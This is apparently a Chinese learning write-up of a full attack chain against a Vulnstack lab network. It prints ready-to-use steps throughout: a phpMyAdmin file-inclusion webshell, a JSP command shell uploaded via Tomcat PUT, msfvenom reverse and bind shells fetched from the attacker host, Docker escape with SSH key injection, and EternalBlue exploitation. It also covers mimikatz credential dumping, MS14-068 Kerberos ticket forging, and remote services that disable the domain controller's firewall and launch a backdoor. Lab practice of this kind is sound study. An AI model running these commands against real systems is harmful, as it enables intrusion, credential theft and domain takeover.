本文全程参考 记一次Vulnstack靶场内网渗透(二) 来复现渗透过程,目的在于学习渗透流程和基本思路,记录下学习笔记

环境搭建

靶机地址:http://vulnstack.qiyuanxuetang.net/vuln/detail/6/

学习思路:st漏洞利用、phpmyadmin getshell、tomcat 漏洞利用、docker逃逸、ms14-068、ssh密钥利用、流量转发、历史命令信息泄露、域渗透

攻击机Kali (192.168.0.106)

虚拟网卡配置

Ubuntu web服务器网卡配置,配两张网卡(192.168.0.105,192.168.183.128)

DC Windows Server 2008 R2服务器网卡配置(192.168.183.130)

Windows 7网卡配置(192.168.183.129)

然后把docker容器都开起来,靶机里有vulhub,直接拉就行了,这里拉三个

cd /home/ubuntu/Desktop/vulhub/struts/s2-045
docker-compose up -d
cd ../../tomcat/CVE-2017-12615
docker-compose up -d
cd ../../phpmyadmin/CVE-2018-12613
docker-compose up -d

分别对应

  • s2-045
  • CVE-2017-12615(tomcat put上传)
  • CVE-2018-12613(phpmyadmin文件包含漏洞)

docker开启情况如下

初始密码

  • f服务器:ubuntu->ubuntu
  • 域成员Win7:douser->Dotest123
  • 域控DC:administrator->Test2008

靶机环境拓扑(ip地址在文中可能变化)

目标:

域控中存在一份重要文件——《漂亮国网络攻击授权报告》。

信息搜集

nmap信息搜集

nmap -T4 -A -sN 192.168.0.105

sshstruts2tomcatphpmyadmin等服务

Web渗透

struts2渗透

直接上工具扫一下,工具地址:https://github.com/zhzyker/vulmap

存在s2-045,RCE

phpmyadmin渗透

看到phpmyadmin版本为4.8.1,想到文件包含漏洞(CVE-2018-12613)

searchsploit phpmyadmin 4.8.1

测试payload:

http://192.168.0.105:2003/index.php?target=db_sql.php%253f/../../../../../etc/passwd

利用session文件包含,查询一条sql语句,file_put_contents写文件

SELECT '<?php file_put_contents("extrader.php",base64_decode("PD9waHAgZXZhbCgkX1BPU1RbMV0pPz4="));?>

cookiephpMyAdmin的值为d70bbb50bbcc99dde55870cf69eda13b

访问http://192.168.0.105:2003/index.php?target=db_sql.php%3f../../../../../../../tmp/sess_d70bbb50bbcc99dde55870cf69eda13b,把shell写进去

随后蚁剑连接

成功连接

tomcat渗透

searchsploit tomcat 8.5.19

由nmap扫描信息可知,2002端口的Tomcat版本为8.5.19,search一下发现有洞

用第一个脚本进行exploit

成功拿到root权限

利用漏洞原理传个shell,好执行命令

<%@ page import="java.util.*,java.io.*,java.net.*"%>
<%
%>
<HTML><BODY>
<FORM METHOD="POST" NAME="myform" ACTION="">
<INPUT TYPE="text" NAME="cmd">
<INPUT TYPE="submit" VALUE="Send">
</FORM>
<pre>
<%
if (request.getParameter("cmd") != null) {
    out.println("Command: " + request.getParameter("cmd") + "\n<BR");
    Process p = Runtime.getRuntime().exec(request.getParameter("cmd"));
    OutputStream os = p.getOutputStream();
    InputStream in = p.getInputStream();
    DataInputStream dis = new DataInputStream(in);
    String disr = dis.readLine();
    while ( disr != null ) {
        out.println(disr); disr = dis.readLine(); 
    }
}
%>
</pre>
</BODY></HTML>

Docker主机逃逸

msf弹shell

msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.0.106 LPORT=4444 -f elf > shell.elf

生成一个msfshell.elf

在本地用python开一个http服务

python3 -m http.server

下载shell并给权限

wget http://192.168.0.106:8000/shell.elf
chmod 777 shell.elf

kali机开启监听

msfconsole
use exploit/multi/handler
set PAYLOAD linux/x86/meterpreter/reverse_tcp
set LHOST 192.168.183.1
show options
run

随后靶机上执行./shell.elf,msf即可成功获得会话

利用CVE-2019-5736逃逸

在Docker 18.09.2之前的版本中使用的runc版本小于1.0-rc6,因此允许攻击者重写宿主机上的runc 二进制文件,攻击者可以在宿主机上以root身份执行命令。

平台或产品 受影响版本 Docker Version < 18.09.2 runC Version <= 1.0-rc6

恶意容器需满足以下两个条件之一:

  • 由一个攻击者控制的恶意镜像创建
  • 攻击者具有某已存在容器的写权限,且可通过docker exec进入。

Poc地址:https://github.com/Frichetten/CVE-2019-5736-PoC

是一个go写的脚本,需要自己下载编译

先装go环境

cd /usr/local
wget https://studygolang.com/dl/golang/go1.16.5.linux-amd64.tar.gz
tar -xzf go1.16.5.linux-amd64.tar.gz
vim /etc/profile
添加 export PATH=$PATH:/usr/local/go/bin
source /etc/profile
go version

出现版本号即安装成功

编译生成payload

CGO_ENABLED=0 GOOS=linux GOARCH=amd64 go build main.go

用msf会话将编译得到的main文件上传到docker容器的/home目录中,并赋权

upload /home/kali/CVE-2019-5736-PoC/main /home

在kali机上监听

nc -lvp 4444

到靶机上执行./main

此时,只需等待目标机管理员重启该docker容器,payload就会触发,如下图,我们手动模拟docker重启:

sudo docker exec -it 09dd4e5bfa91 /bin/bash

显示payload执行成功

但是并未收到shell

利用--privileged特权模式逃逸

  • 特权模式于版本0.6时被引入Docker,允许容器内的root拥有外部物理机root权限,而此前容器内root用户仅拥有外部物理机普通用户权限。
  • 使用特权模式启动容器,可以获取大量设备文件访问权限。因为当管理员执行docker run —privileged时,Docker容器将被允许访问主机上的所有设备,并可以执行mount命令进行挂载。
  • 当控制使用特权模式启动的容器时,docker管理员可通过mount命令将外部宿主机磁盘设备挂载进容器内部,获取对整个宿主机的文件读写权限,此外还可以通过写入计划任务等方式在宿主机执行命令。

具体可参考:配置不当导致的容器逃逸

学习路线中有一个ssh密钥利用,推测是利用docker的特权模式来在宿主机硬盘中写入ssh私钥,实现ssh免密登录宿主机,从而实现对目标宿主机的控制

mkdir /hack
ls /dev

...
sda
sda1
sda2
sda5
...

尝试将/dev/sda1挂载到/hack目录里mount /dev/sda1 /hackls /hack查看,挂载成功

在docker容器里挂载一个宿主的本地目录,这样某些容器里输出的文件,就可以在本地目录中打开访问了。

将sda1挂载成功,我们就可以通过访问容器内部的/hack路径来达到访问整个宿主机的目的,比如我们访问/hack/home目录也就是访问宿主机的/home目录

本地生成ssh秘钥

ssh-keygen -f hack
chmod 600 hack    // 不要忘记对秘钥文件赋600权限,否则不能执行

我们要将ssh秘钥写入到.ssh目录里面并将文件命名为authorized_keys(目标机.ssh目录权限必须为700)。

cp -avx /hack/home/ubuntu/.ssh/id_rsa.pub /hack/home/ubuntu/.ssh/authorized_keys    # -avx是将权限也一起复制

echo 'ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCg9LpD/MuFWzIzUQB4RQCFa8Avljlla4Z0iuk3jMQVxrxcDjOhoaLmXmbS63/crPQ15s1oEzNpi2L0MtU/ZMbDFHpKVJGSwNbZeMzEnYsOMd1x4r6BojP4bN4d2okv4sYVSCgWiNUQBHWQcUcnf3rkFw309maxSIwiNNl1C6jzwCNjo3rWA9YV8869N7q/oZtPob3M5yVT77nYMOdO4mnU/A8dbr8KkmcjoVZclK1aAnu96XJywWmArtfZjF9FdlqUkB9ZhknnpxHqP1/sH5lNk/S/pOQTq94VpU4YdK4aBt5mFj16okbudhNKGOBBlNFECcQIU/11djNDYD+FqVn7H/rKuYa7LOJkNhgXv/Q7tBIuoJBrWKqFSQPxUdiTDzeuWhWVw5Kjzf3sEoTOHqO7oUD23iQHnoO1ZwxJp/CnDRSTyCcxTcUwheM+JTSEXembyDtQWPmt3g24UNish8s3INTPT2Abd1q2mspwuSKWHuZo8yIrNq5mfS8lvkhT1rc= kali@kali' > /hack/home/ubuntu/.ssh/authorized_keys    # 将ssh秘钥写入authorized_keys文件

如果上面echo不进去可以直接在msf中上传

此时,攻击者就可以利用自己的私钥进行免密登陆目标宿主机了

ssh -i hack ubuntu@192.168.0.105  (图后面加的,IP地址变了)

内网渗透

内网探测添加路由

我们已经拿到ubuntu这台服务器,重新弹个meterpreter过来

kali机重新开启一个Web服务:python3 -m http.server

msf上监听端口

set AutoRunScript migrate -f  (自动迁移进程,防止用户删除木马,丢失目标)

在ubuntu上执行

wget http://192.168.0.106:8000/shell.elf
chmod 777 shell.elf
./shell.elf

msf传一个ew上去upload /home/kali/ew_for_linux64 /home/ubuntu

ifconfig查看Ubuntu上的内网

发现存在(192.168.183.1/24)这个内网

于是我们在ubuntu上开启socks5正向代理

ew下链接:https://github.com/idlefire/ew

chmod 777 ew_for_linux64
./ew_for_linux64 -s ssocksd -l 1080 

此时,kali上的应用程序就可以通过proxychains代理进目标内网了vim /etc/proxychains4.conf

探测内网存活的主机,因为使用的是socks的代理,只能使用tcp协议,所以nmap使用的时候要使用-sT选择使用tcp协议,要使用-Pn不使用ICMPping确认主机存活

proxychains4 nmap -sT -sV -Pn -n -p22,445 192.168.183.0/24

经过扫描可以得知目标内网中还有192.168.183.129(Win7)和192.168.183.130(DC)这两台主机。并且都开了445端口

在msf添加内网路由,这里直接在msf中run autoroute会报错

具体参考:https://www.jason-w.cn/pentest/2021/02/28/242.html

background
use post/multi/manage/autoroute
show options
set SESSION 7
set SUBNET 192.168.183.0
show options
exploit
route

exploit后查看route路由

ms17_010利用

扫描目标内网中可能存在ms17_010永恒之蓝漏洞的主机

use auxiliary/scanner/smb/smb_ms17_010 
set RHOSTS 192.168.183.128-130
run

先打Windows7这台

我们使用chisel代理工具来进行内网渗透连接,下载链接:https://github.com/jpillora/chisel

具体使用方法可以看:https://www.anquanke.com/post/id/234771

为什么不用原来的ew,因为用ew不稳定,ms17_011打不通(本人亲测打不通)

Ubuntu上执行./chisel server -p 2333 --socks5

Kali机上进行连接./chisel client 192.168.0.107:2333 1080:socks

反向代理,这样我们kali机上的1080端口就可以访问内网里的主机了

然后用msf打

setg Proxies socks5:127.0.0.1:1080       // 设置代理,不设置代理ms17_010很难打通
use exploit/windows/smb/ms17_010_eternalblue
set payload windows/x64/meterpreter/bind_tcp
set RHOST 192.168.183.129
set LHOST 192.168.0.106
set LPORT 4444
set AutoRunScript post/windows/manage/migrate             // 自动迁移进程
run

一次打通

内网信息搜集

sysinfo                #查看主机信息
getuid                 #查看当前token
use incognito          #加载incognito,(用来盗窃目标主机的令牌或是假冒用户)
list_tokens -u         #列出目标主机用户的可用令牌
impersonate_token "DEMO\douser" #模拟DEMO\douser用户
rev2self               #返回到之前的AccessToken权限
execute -f cmd.exe -i       # 交互式运行cmd
execute -f cmd.exe -i -t    # 使用可用token 运行
execute -f cmd.exe -i -H -t # 同上,同时隐藏进程

# 可以直接shell

chcp 65001      # 简单解决一下乱码
ipconfig /all   # 查看本机ip,所在域
route print     # 打印路由信息
net view        # 查看局域网内其他主机名
arp -a          # 查看arp缓存
whoami
net start       # 查看开启了哪些服务
net share       # 查看开启了哪些共享
net share ipc$  # 开启ipc共享
net share c$    # 开启c盘共享
net use \\192.168.xx.xx\ipc$ "" /user:""   # 与192.168.xx.xx建立空连接
net use \\192.168.xx.xx\c$ "密码" /user:"用户名"  # 建立c盘共享
dir \\192.168.xx.xx\c$\user    # 查看192.168.xx.xx c盘user目录下的文件

# 以下命令需要切换到域用户douser执行
net config Workstation   # 查看计算机名、全名、用户名、系统版本、工作站、域、登录域
net user                 # 查看本机用户列表
net user /domain         # 查看域用户
net localgroup administrators   # 查看本地管理员组(通常会有域用户)
net view /domain         # 查看有几个域
net user 用户名 /domain   # 获取指定域用户的信息
net group /domain        # 查看域里面的工作组,查看把用户分了多少组(只能在域控上操作)
net group 组名 /domain    # 查看域中某工作组
net group "domain admins" /domain  # 查看域管理员的名字
net group "domain computers" /domain  # 查看域中的其他主机名
net group "doamin controllers" /domain  # 查看域控制器(可能有多台)

由搜集到的信息,我们知道目标win7在demo.com域中,域控为WIN-ENS2VR5TR3N,域管理员为Administratorping查看域控ip

在目标机上传mimikatz,抓一下Windows 7的密码,mimikatz要有管理员权限不然无法抓取内存密码,要先模拟个system的令牌才能执行成功

impersonate_token "NT AUTHORITY\SYSTEM"
shell
mimikatz.exe
privilege::debug         # 权限提升
sekurlsa::logonpasswords # 抓取密码

得到明文密码为Dotest123,接下来可以进行横向移动攻击域控

尝试用ms17_010打域控机

利用失败

ms14-068利用

漏洞利用前提

  1. 域控没有打MS14-068的补丁(KB3011780)
  2. 拿下一台加入域的计算机
  3. 有这台域内计算机的域用户密码和sid

使用ms14-068,下载地址:https://github.com/abatchy17/WindowsExploits/tree/master/MS14-068

upload /home/kali/Desktop/WindowsExploits/MS14-068/MS14-068.exe c:\\users\\douser

在win7上执行下面一条命令
域成员sid在上面mimikatz中获取到了,当然也可以用whoami /user 获取sid

ms14-068.exe -u douser@DEMO.com -s S-1-5-21-979886063-1111900045-1414766810-1107 -d 192.168.183.130 -p Dotest123
// ms14-068.exe -u 域成员名@域名.com -s 域成员sid -d 域控制器ip地址 -p 域成员密码

成功生成票据文件

c:\windows\system32\mimikatz.exe
kerberos::purge               # 清空当前机器中所有凭证,如果有域成员凭证会影响凭证伪造
kerberos::list                # 查看当前机器凭证
kerberos::ptc TGT_douser@DEMO.com.ccache(生成的票据文件)   # 将票据注入到内存中

尝试net use登录域控

net use \\WIN-ENS2VR5TR3N
dir \\WIN-ENS2VR5TR3N\c$

如上图,成功登录域控并列出了域控的c盘目录。此时要想控制域控我们还要在Windows 7上面上传一个正向的msf马。

msfvenom -p windows/meterpreter/bind_tcp lhost=192.168.0.108 lport=4455 -f exe -o bind.exe

传到Windows7上,然后用smb文件共享将msf马copy到域控的C盘

upload /home/kali/Desktop/bind.exe

通过远程在域控上面设置好计划任务

schtasks /create /tn "test" /tr C:\windows\system32\bind.exe /sc MINUTE /S 192.168.183.130

显示Access is denied,用sc服务来远程执行,设置服务来关闭防火墙

sc \\WIN-ENS2VR5TR3N create unablefirewall binpath= "netsh advfirewall set allprofiles state off"
sc \\WIN-ENS2VR5TR3N start unablefirewall

创建服务执行msf马(msf正在监听)

sc \\WIN-ENS2VR5TR3N create bindshell binpath= "c:\bind.exe"
sc \\WIN-ENS2VR5TR3N start bindshell

msf配置

成功上线域控

上传mimikatz抓明文密码

upload /home/kali/Desktop/mimikatz.exe 
shell
mimikatz.exe
privilege::debug
sekurlsa::logonpasswords

拿到域管理员密码为Test2008@!

寻找敏感文件

拿下域控后,我们就要寻找开头说的那个域控中的重要文件了。开启域控的远程桌面

run post/windows/manage/enable_rdp

登录

proxychains4 rdesktop 192.168.183.130
输入账号密码,账号:DEMO\Administrator 密码:Test2008@!

传个everything

安装后开启里面的http服务

kali浏览器走个代理,socks5的

随后即可访问服务器上的所有文件

至于啥漂亮国攻击授权报告,靶机上没有这文件,估计是自己加上去的,但目的已达成,开溜~